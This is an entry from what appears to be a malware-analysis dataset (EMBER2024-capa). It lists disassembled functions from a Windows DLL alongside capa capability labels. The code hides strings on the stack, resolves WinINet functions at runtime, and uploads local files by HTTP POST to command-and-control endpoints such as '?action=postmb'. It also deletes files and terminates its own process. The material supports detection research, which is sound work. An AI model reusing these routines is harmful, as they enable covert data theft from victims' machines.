joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100027ac
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push ebx
push esi
xor ebx, ebx
push edi
push ebx
mov dword [ebp - 4], ebx
call fcn.100071c2
mov esi, eax
push esi
jmp loc.1000e000

Function at 0x10003007
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24c
push ebx
push esi
push edi
push 0x40
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x10b]
mov byte [ebp - 0x10c], bl
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x10c]
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea eax, [ebp - 0x10c]
push 0x5c
push eax
call dword [sym.imp.MSVCRT.dll_strrchr]
mov byte [eax + 1], bl
lea eax, [ebp - 0x10c]
push str.Config.
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x10
lea eax, [ebp - 0x24c]
push eax
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.DLL_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp - 8], eax
je 0x10003140
mov esi, dword [sym.imp.MSVCRT.dll__strcmpi]
lea eax, [ebp - 0x220]
push 0x1000a688
push eax
call esi
pop ecx
test eax, eax
pop ecx
je 0x100030b2
lea eax, [ebp - 0x220]
push 0x1000a684
push eax
call esi
pop ecx
test eax, eax
pop ecx
jne 0x100030d3
push 0x3e8
call dword [sym.imp.KERNEL32.DLL_Sleep]
lea eax, [ebp - 0x24c]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_FindNextFileA]
test eax, eax
je 0x10003140
jmp 0x1000308a
mov esi, dword [sym.imp.MSVCRT.dll_strchr]
lea eax, [ebp - 0x220]
push 0x2e
push eax
mov byte [0x1000aa34], 1
call esi
push 0x28
mov edi, 0x1000a96c
push ebx
push edi
mov dword [ebp - 4], eax
call sub.MSVCRT.dll_memset
mov eax, dword [ebp - 4]
lea ecx, [ebp - 0x220]
sub eax, ecx
push eax
lea eax, [ebp - 0x220]
push eax
push edi
mov edi, dword [sym.imp.MSVCRT.dll_strncpy]
call edi
push 0x28
push ebx
mov ebx, 0x1000a9ec
push ebx
call sub.MSVCRT.dll_memset
inc dword [ebp - 4]
push 0x2e
push dword [ebp - 4]
call esi
sub eax, dword [ebp - 4]
push eax
push dword [ebp - 4]
push ebx
call edi
add esp, 0x40
push 1
pop ebx
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_FindClose]
pop edi
mov eax, ebx
pop esi
pop ebx
leave
ret
Function at 0x10003150
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44c
push esi
lea eax, [ebp - 0x208]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea eax, [ebp - 0x208]
push 0x5c
push eax
call dword [sym.imp.MSVCRT.dll_strrchr]
and byte [eax + 1], 0
lea eax, [ebp - 0x208]
push str.Config_
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x30c]
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x30c]
push 0x1000a698
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x20
lea eax, [ebp - 0x44c]
push eax
lea eax, [ebp - 0x30c]
push eax
call dword [sym.imp.KERNEL32.DLL_FindFirstFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x10003235
push edi
and byte [ebp - 0x104], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x103]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x104]
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x420]
push eax
lea eax, [ebp - 0x104]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x10
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
lea eax, [ebp - 0x44c]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_FindNextFileA]
test eax, eax
jne 0x100031d5
pop edi
push esi
call dword [sym.imp.KERNEL32.DLL_FindClose]
pop esi
leave
ret

Function at 0x1000327b
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push ebx
push edi
push 0x7f
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x207]
mov byte [ebp - 0x208], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x1000a680
stosb byte es:[edi], al
call fcn.10007bbf
cmp eax, ebx
pop ecx
je 0x100032f3
push eax
lea eax, [ebp - 0x208]
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x208]
push 0x1000a994
push eax
lea eax, [ebp - 0x208]
push str._s_actiontestlocku_s
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x18
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x208]
push eax
call fcn.1000763c
test eax, eax
jne 0x100032f7
xor eax, eax
jmp 0x10003340
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 8]
push 0x1000a6a4
mov byte [eax + ecx], bl
push dword [ebp - 4]
call fcn.1000775c
pop ecx
test eax, eax
pop ecx
jne 0x1000333d
push esi
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
push eax
push ebx
push 1
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
mov esi, dword [sym.imp.KERNEL32.DLL_TerminateProcess]
cmp eax, ebx
je 0x10003332
push ebx
push eax
call esi
push ebx
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push eax
call esi
pop esi
push 1
pop eax
pop edi
pop ebx
leave
ret
Function at 0x1000341d
Capabilities:
Contain obfuscated stackstrings
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x228
push ebx
mov ebx, dword [ebp + 8]
test ebx, ebx
je 0x1000344c
push esi
push 0x40
mov esi, 0x1000ab04
push 0
push esi
call sub.MSVCRT.dll_memset
push 4
push ebx
push esi
call dword [sym.imp.MSVCRT.dll_strncpy]
add esp, 0x18
pop esi
and byte [ebp - 0x228], 0
push edi
push 0x7f
xor eax, eax
pop ecx
lea edi, [ebp - 0x227]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x1000a680
stosb byte es:[edi], al
call fcn.10007bbf
pop ecx
pop edi
test eax, eax
je 0x10003592
push eax
lea eax, [ebp - 0x228]
push eax
call fcn.10007734
lea eax, [ebp - 0x228]
and byte [ebp - 0xf], 0
push 0x1000a994
push eax
lea eax, [ebp - 0x24]
mov byte [ebp - 0x24], 0x25
push eax
lea eax, [ebp - 0x228]
push eax
mov byte [ebp - 0x23], 0x73
mov byte [ebp - 0x22], 0x3f
mov byte [ebp - 0x21], 0x61
mov byte [ebp - 0x20], 0x63
mov byte [ebp - 0x1f], 0x74
mov byte [ebp - 0x1e], 0x69
mov byte [ebp - 0x1d], 0x6f
mov byte [ebp - 0x1c], 0x6e
mov byte [ebp - 0x1b], 0x3d
mov byte [ebp - 0x1a], 0x67
mov byte [ebp - 0x19], 0x65
mov byte [ebp - 0x18], 0x74
mov byte [ebp - 0x17], 0x70
mov byte [ebp - 0x16], 0x6f
mov byte [ebp - 0x15], 0x73
mov byte [ebp - 0x14], 0x26
mov byte [ebp - 0x13], 0x75
mov byte [ebp - 0x12], 0x3d
mov byte [ebp - 0x11], 0x25
mov byte [ebp - 0x10], 0x73
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 0x228]
push eax
call fcn.1000763c
test eax, eax
je 0x10003592
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x28]
and byte [eax + ecx], 0
and byte [ebp - 4], 0
lea eax, [ebp - 0xc]
mov byte [ebp - 0xc], 0x43
push eax
mov byte [ebp - 0xb], 0x52
push dword [ebp + 8]
mov byte [ebp - 0xa], 0x41
mov byte [ebp - 9], 0x43
mov byte [ebp - 8], 0x4b
mov byte [ebp - 7], 0x49
mov byte [ebp - 6], 0x4e
mov byte [ebp - 5], 0x47
call fcn.1000775c
pop ecx
test eax, eax
pop ecx
jne 0x10003563
push eax
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
push dword [ebp + 8]
call fcn.10003597
test eax, eax
je 0x10003592
mov eax, dword [ebp + 8]
mov cl, byte [eax]
mov byte [ebx], cl
mov cl, byte [eax + 2]
mov byte [ebx + 1], cl
mov cl, byte [eax + 4]
mov byte [ebx + 2], cl
mov al, byte [eax + 6]
mov byte [ebx + 3], al
mov dword [0x1000ac14], 1
pop ebx
leave
ret 4
Function at 0x10003626
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push esi
push edi
push 0x1000a6c4
push 0x1000ab9c
call sub.MSVCRT.dll_strcpy
and byte [ebp - 0x3c], 0
push 7
pop ecx
xor eax, eax
lea edi, [ebp - 0x3b]
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x1000ab44
lea eax, [ebp - 0x3c]
push 0x1000a6c0
push eax
call esi
add esp, 0x14
cmp dword [0x1000ac14], 0
je 0x1000374a
and byte [ebp - 0x23c], 0
push 0x7f
pop ecx
xor eax, eax
lea edi, [ebp - 0x23b]
push 0x1000a680
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call fcn.10007bbf
test eax, eax
pop ecx
je 0x1000374a
push eax
lea eax, [ebp - 0x23c]
push eax
call fcn.10007734
lea eax, [ebp - 0x3c]
and byte [ebp - 1], 0
push eax
lea eax, [ebp - 0x23c]
push 0x1000a994
push eax
lea eax, [ebp - 0x1c]
mov byte [ebp - 0x1c], 0x25
push eax
lea eax, [ebp - 0x23c]
push eax
mov byte [ebp - 0x1b], 0x73
mov byte [ebp - 0x1a], 0x3f
mov byte [ebp - 0x19], 0x61
mov byte [ebp - 0x18], 0x63
mov byte [ebp - 0x17], 0x74
mov byte [ebp - 0x16], 0x69
mov byte [ebp - 0x15], 0x6f
mov byte [ebp - 0x14], 0x6e
mov byte [ebp - 0x13], 0x3d
mov byte [ebp - 0x12], 0x70
mov byte [ebp - 0x11], 0x6f
mov byte [ebp - 0x10], 0x73
mov byte [ebp - 0xf], 0x74
mov byte [ebp - 0xe], 0x6d
mov byte [ebp - 0xd], 0x62
mov byte [ebp - 0xc], 0x26
mov byte [ebp - 0xb], 0x75
mov byte [ebp - 0xa], 0x3d
mov byte [ebp - 9], 0x25
mov byte [ebp - 8], 0x73
mov byte [ebp - 7], 0x26
mov byte [ebp - 6], 0x6d
mov byte [ebp - 5], 0x62
mov byte [ebp - 4], 0x3d
mov byte [ebp - 3], 0x25
mov byte [ebp - 2], 0x73
call esi
lea eax, [ebp - 0x23c]
push eax
call fcn.100075a3
add esp, 0x20
pop edi
pop esi
leave
ret
Function at 0x10003f06
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push ebx
push esi
push dword [ebp + 0x10]
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
and dword [0x10009004], 0
mov ebx, 0x1000ab9c
push dword [ebp + 0xc]
push dword [ebp + 8]
push 0x1000ab88
push str._s__s:_s:_s
push ebx
call esi
add esp, 0x18
cmp dword [0x1000ac14], 0
je 0x1000403d
and byte [ebp - 0x3c], 0
push edi
push 7
xor eax, eax
pop ecx
lea edi, [ebp - 0x3b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push ebx
lea eax, [ebp - 0x3c]
push 0x1000a6c0
push eax
call esi
and byte [ebp - 0x23c], 0
push 0x7f
pop ecx
xor eax, eax
lea edi, [ebp - 0x23b]
push 0x1000a680
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call fcn.10007bbf
add esp, 0x10
test eax, eax
pop edi
je 0x1000403d
push eax
lea eax, [ebp - 0x23c]
push eax
call fcn.10007734
lea eax, [ebp - 0x3c]
and byte [ebp - 1], 0
push eax
lea eax, [ebp - 0x23c]
push 0x1000a994
push eax
lea eax, [ebp - 0x1c]
mov byte [ebp - 0x1c], 0x25
push eax
lea eax, [ebp - 0x23c]
push eax
mov byte [ebp - 0x1b], 0x73
mov byte [ebp - 0x1a], 0x3f
mov byte [ebp - 0x19], 0x61
mov byte [ebp - 0x18], 0x63
mov byte [ebp - 0x17], 0x74
mov byte [ebp - 0x16], 0x69
mov byte [ebp - 0x15], 0x6f
mov byte [ebp - 0x14], 0x6e
mov byte [ebp - 0x13], 0x3d
mov byte [ebp - 0x12], 0x70
mov byte [ebp - 0x11], 0x6f
mov byte [ebp - 0x10], 0x73
mov byte [ebp - 0xf], 0x74
mov byte [ebp - 0xe], 0x6d
mov byte [ebp - 0xd], 0x62
mov byte [ebp - 0xc], 0x26
mov byte [ebp - 0xb], 0x75
mov byte [ebp - 0xa], 0x3d
mov byte [ebp - 9], 0x25
mov byte [ebp - 8], 0x73
mov byte [ebp - 7], 0x26
mov byte [ebp - 6], 0x6d
mov byte [ebp - 5], 0x62
mov byte [ebp - 4], 0x3d
mov byte [ebp - 3], 0x25
mov byte [ebp - 2], 0x73
call esi
lea eax, [ebp - 0x23c]
push eax
call fcn.100075a3
add esp, 0x20
pop esi
pop ebx
leave
ret 0xc
Function at 0x10005a98
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x330
push ebx
push esi
push edi
push 0x40
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x127]
mov byte [ebp - 0x128], bl
mov byte [ebp - 0x10], 0x75
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x24]
mov byte [ebp - 0xf], 0x73
push eax
lea eax, [ebp - 0x10]
push eax
mov byte [ebp - 0xe], 0x65
mov byte [ebp - 0xd], 0x72
mov byte [ebp - 0xc], 0x33
mov byte [ebp - 0xb], 0x32
mov byte [ebp - 0xa], 0x2e
mov byte [ebp - 9], 0x64
mov byte [ebp - 8], 0x6c
mov byte [ebp - 7], 0x6c
mov byte [ebp - 6], bl
mov byte [ebp - 0x24], 0x47
mov byte [ebp - 0x23], 0x65
mov byte [ebp - 0x22], 0x74
mov byte [ebp - 0x21], 0x46
mov byte [ebp - 0x20], 0x6f
mov byte [ebp - 0x1f], 0x72
mov byte [ebp - 0x1e], 0x65
mov byte [ebp - 0x1d], 0x67
mov byte [ebp - 0x1c], 0x72
mov byte [ebp - 0x1b], 0x6f
mov byte [ebp - 0x1a], 0x75
mov byte [ebp - 0x19], 0x6e
mov byte [ebp - 0x18], 0x64
mov byte [ebp - 0x17], 0x57
mov byte [ebp - 0x16], 0x69
mov byte [ebp - 0x15], 0x6e
mov byte [ebp - 0x14], 0x64
mov byte [ebp - 0x13], 0x6f
mov byte [ebp - 0x12], 0x77
mov byte [ebp - 0x11], bl
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push eax
call fcn.100078a2
pop ecx
pop ecx
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x10005be5
mov esi, dword [sym.imp.KERNEL32.DLL_WideCharToMultiByte]
mov ecx, 0x81
xor eax, eax
lea edi, [ebp - 0x32e]
mov word [ebp - 0x330], bx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x330]
push 0x208
push eax
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetClassNameW]
push ebx
push ebx
lea eax, [ebp - 0x128]
push ebx
push eax
lea eax, [ebp - 0x330]
push 0xffffffffffffffff
push eax
push ebx
push ebx
call esi
push ebx
push ebx
push eax
lea eax, [ebp - 0x128]
push eax
lea eax, [ebp - 0x330]
push 0xffffffffffffffff
push eax
push ebx
push ebx
call esi
push dword [ebp + 8]
lea eax, [ebp - 0x128]
push eax
call fcn.1000775c
pop ecx
test eax, eax
pop ecx
je 0x10005bec
push 2
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindow]
cmp eax, ebx
mov dword [ebp - 4], eax
jne 0x10005b5f
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
mov eax, dword [ebp - 4]
jmp 0x10005be7
Function at 0x10005d6c
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1fc
push ebx
call fcn.100073c5
call fcn.10005e53
xor ebx, ebx
push ebx
push ebx
push ebx
push ebx
push str.HttpSendRequestEx
call dword [0x1000aeec]
cmp eax, ebx
mov dword [ebp - 4], eax
push ebx
jne 0x10005d9f
call dword [sym.imp.MSVCRT.dll_exit]
mov cx, word [0x1000adb4]
push ebx
push 3
push ebx
push ebx
push ecx
push dword [ebp + 0x10]
push eax
call dword [0x1000a900]
cmp eax, ebx
mov dword [ebp - 8], eax
je 0x10005e45
push esi
push ebx
push 0x4000000
push ebx
push ebx
push ebx
push dword [ebp + 0x14]
push str.POST
push eax
call dword [0x1000a8b4]
mov esi, eax
cmp esi, ebx
je 0x10005e3b
push dword [ebp + 0xc]
push dword [ebp + 8]
push esi
call fcn.10006011
test eax, eax
je 0x10005e34
push edi
push 0x7c
pop ecx
xor eax, eax
lea edi, [ebp - 0x1fb]
mov byte [ebp - 0x1fc], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop edi
lea eax, [ebp + 0x10]
mov dword [ebp + 0x10], ebx
push eax
lea eax, [ebp - 0x1fc]
push 0x1f3
push eax
push esi
call dword [0x1000aee0]
test eax, eax
mov eax, dword [ebp + 0x10]
je 0x10005e30
mov byte [ebp + eax - 0x1fc], bl
cmp eax, ebx
ja 0x10005e08
push esi
call dword [0x1000aee4]
push dword [ebp - 8]
call dword [0x1000aee4]
pop esi
push dword [ebp - 4]
call dword [0x1000aee4]
pop ebx
leave
ret 0x10
Function at 0x10005e53
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
push esi
push str.WININET.dll
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov esi, eax
xor al, al
mov byte [ebp - 0x4c], 0x49
mov byte [ebp - 0x4b], 0x6e
mov byte [ebp - 0x4a], 0x74
mov byte [ebp - 0x49], 0x65
mov byte [ebp - 0x48], 0x72
mov byte [ebp - 0x47], 0x6e
mov byte [ebp - 0x46], 0x65
mov byte [ebp - 0x45], 0x74
mov byte [ebp - 0x44], 0x57
mov byte [ebp - 0x43], 0x72
mov byte [ebp - 0x42], 0x69
mov byte [ebp - 0x41], 0x74
mov byte [ebp - 0x40], 0x65
mov byte [ebp - 0x3f], 0x46
mov byte [ebp - 0x3e], 0x69
mov byte [ebp - 0x3d], 0x6c
mov byte [ebp - 0x3c], 0x65
mov byte [ebp - 0x3b], al
mov byte [ebp - 0x24], 0x48
mov byte [ebp - 0x23], 0x74
mov byte [ebp - 0x22], 0x74
mov byte [ebp - 0x21], 0x70
mov byte [ebp - 0x20], 0x4f
mov byte [ebp - 0x1f], 0x70
mov byte [ebp - 0x1e], 0x65
mov byte [ebp - 0x1d], 0x6e
mov byte [ebp - 0x1c], 0x52
mov byte [ebp - 0x1b], 0x65
mov byte [ebp - 0x1a], 0x71
mov byte [ebp - 0x19], 0x75
mov byte [ebp - 0x18], 0x65
mov byte [ebp - 0x17], 0x73
mov byte [ebp - 0x16], 0x74
mov byte [ebp - 0x15], 0x41
mov byte [ebp - 0x14], al
mov byte [ebp - 0x60], 0x48
mov byte [ebp - 0x5f], 0x74
mov byte [ebp - 0x5e], 0x74
mov byte [ebp - 0x5d], 0x70
mov byte [ebp - 0x5c], 0x53
mov byte [ebp - 0x5b], 0x65
mov byte [ebp - 0x5a], 0x6e
mov byte [ebp - 0x59], 0x64
mov byte [ebp - 0x58], 0x52
mov byte [ebp - 0x57], 0x65
mov byte [ebp - 0x56], 0x71
mov byte [ebp - 0x55], 0x75
mov byte [ebp - 0x54], 0x65
mov byte [ebp - 0x53], 0x73
mov byte [ebp - 0x52], 0x74
mov byte [ebp - 0x51], 0x45
mov byte [ebp - 0x50], 0x78
mov byte [ebp - 0x4f], 0x41
mov byte [ebp - 0x4e], al
mov byte [ebp - 0x10], 0x48
mov byte [ebp - 0xf], 0x74
mov byte [ebp - 0xe], 0x74
mov byte [ebp - 0xd], 0x70
mov byte [ebp - 0xc], 0x45
mov byte [ebp - 0xb], 0x6e
mov byte [ebp - 0xa], 0x64
mov byte [ebp - 9], 0x52
mov byte [ebp - 8], 0x65
mov byte [ebp - 7], 0x71
mov byte [ebp - 6], 0x75
mov byte [ebp - 5], 0x65
mov byte [ebp - 4], 0x73
mov byte [ebp - 3], 0x74
mov byte [ebp - 2], 0x41
mov byte [ebp - 1], al
mov byte [ebp - 0x38], 0x49
mov byte [ebp - 0x37], 0x6e
mov byte [ebp - 0x36], 0x74
mov byte [ebp - 0x35], 0x65
mov byte [ebp - 0x34], 0x72
mov byte [ebp - 0x33], 0x6e
mov byte [ebp - 0x28], al
lea eax, [ebp - 0x4c]
push eax
push esi
mov byte [ebp - 0x32], 0x65
mov byte [ebp - 0x31], 0x74
mov byte [ebp - 0x30], 0x43
mov byte [ebp - 0x2f], 0x6f
mov byte [ebp - 0x2e], 0x6e
mov byte [ebp - 0x2d], 0x6e
mov byte [ebp - 0x2c], 0x65
mov byte [ebp - 0x2b], 0x63
mov byte [ebp - 0x2a], 0x74
mov byte [ebp - 0x29], 0x41
call fcn.100078a2
mov dword [0x1000a8f8], eax
lea eax, [ebp - 0x24]
push eax
push esi
call fcn.100078a2
mov dword [0x1000a8b4], eax
lea eax, [ebp - 0x60]
push eax
push esi
call fcn.100078a2
mov dword [0x1000a8e4], eax
lea eax, [ebp - 0x10]
push eax
push esi
call fcn.100078a2
mov dword [0x1000a8bc], eax
lea eax, [ebp - 0x38]
push eax
push esi
call fcn.100078a2
add esp, 0x28
mov dword [0x1000a900], eax
pop esi
leave
ret
Function at 0x10006011
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
push ebx
push esi
push edi
push 0x3f
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x137]
mov byte [ebp - 0x138], bl
mov dword [ebp - 4], ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [ebp - 8], ebx
mov dword [ebp - 0x38], 0x28
stosb byte es:[edi], al
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], ebx
call fcn.100073c5
call fcn.10005e53
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
mov dword [ebp - 0x10], esi
je 0x100061a4
push ebx
push esi
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov dword [ebp - 4], eax
lea ecx, [eax + 0x100]
inc eax
mov dword [ebp - 0x1c], ecx
push eax
call dword [sym.imp.MSVCRT.dll_malloc]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
inc eax
push eax
push ebx
push dword [ebp - 8]
call sub.MSVCRT.dll_memset
add esp, 0x10
lea eax, [ebp - 4]
push ebx
push eax
push dword [ebp - 4]
push dword [ebp - 8]
push esi
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
jne 0x100060e1
push dword [ebp + 0xc]
push str.ReadFile_error__s__n
call dword [sym.imp.MSVCRT.dll_printf]
pop ecx
pop ecx
push ebx
push ebx
lea eax, [ebp - 0x38]
push ebx
push eax
push dword [ebp + 8]
call dword [0x1000a8e4]
test eax, eax
je 0x100061a4
push dword [ebp + 0x10]
lea eax, [ebp - 0x138]
push eax
call fcn.10007734
pop ecx
lea eax, [ebp - 0xc]
pop ecx
push eax
lea eax, [ebp - 0x138]
push 0x100
push eax
push dword [ebp + 8]
call dword [0x1000a8f8]
mov dword [ebp + 0xc], eax
mov eax, dword [ebp - 4]
mov esi, 0x400
xor edi, edi
cdq
mov ecx, esi
idiv ecx
test eax, eax
jle 0x10006168
mov eax, dword [ebp - 8]
mov dword [ebp + 0x10], eax
cmp dword [ebp + 0xc], ebx
je 0x10006168
lea eax, [ebp - 0xc]
push eax
push esi
push dword [ebp + 0x10]
push dword [ebp + 8]
call dword [0x1000a8f8]
mov dword [ebp + 0xc], eax
mov eax, dword [ebp - 4]
cdq
mov ecx, esi
add dword [ebp + 0x10], esi
idiv ecx
inc edi
cmp edi, eax
jl 0x1000613f
mov eax, dword [ebp - 4]
and eax, 0x3ff
je 0x1000618f
cmp dword [ebp + 0xc], ebx
je 0x100061a4
shl edi, 0xa
add edi, dword [ebp - 8]
lea ecx, [ebp - 0xc]
push ecx
push eax
push edi
push dword [ebp + 8]
call dword [0x1000a8f8]
mov dword [ebp + 0xc], eax
cmp dword [ebp + 0xc], ebx
je 0x100061a4
push ebx
push ebx
push ebx
push dword [ebp + 8]
call dword [0x1000a8bc]
test eax, eax
jne 0x100061a7
mov dword [ebp + 0xc], ebx
push dword [ebp - 8]
call dword [sym.imp.MSVCRT.dll_free]
pop ecx
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x100061c4
Capabilities:
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
cmp dword [0x10009008], 0
push ebx
push esi
push edi
je 0x100062a1
mov esi, 0x1000ac24
cmp dword [0x1000ad30], 4
jae 0x100062a1
call fcn.100062a6
mov ebx, eax
test ebx, ebx
je 0x1000628c
push 0
call dword [sym.imp.MSVCRT.dll_time]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
inc dword [0x10009064]
call dword [sym.imp.MSVCRT.dll_rand]
and byte [ebp - 0x28], 0
push 9
mov edx, eax
pop ecx
xor eax, eax
lea edi, [ebp - 0x27]
add edx, dword [0x10009064]
push str..jpg
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push edx
push 0x1000a994
lea eax, [ebp - 0x28]
push str._s__d_s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x1c
push esi
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
lea eax, [ebp - 0x28]
push eax
push esi
call sub.MSVCRT.dll_strcat
push esi
push ebx
call fcn.10004c81
add esp, 0x10
test al, al
je 0x10006283
push esi
call fcn.10005bf1
inc dword [0x1000ad30]
push esi
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
cmp dword [0x1000ad30], 6
ja 0x100062a1
push 0xa
call dword [sym.imp.KERNEL32.DLL_Sleep]
cmp dword [0x10009008], 0
jne 0x100061df
pop edi
pop esi
pop ebx
leave
ret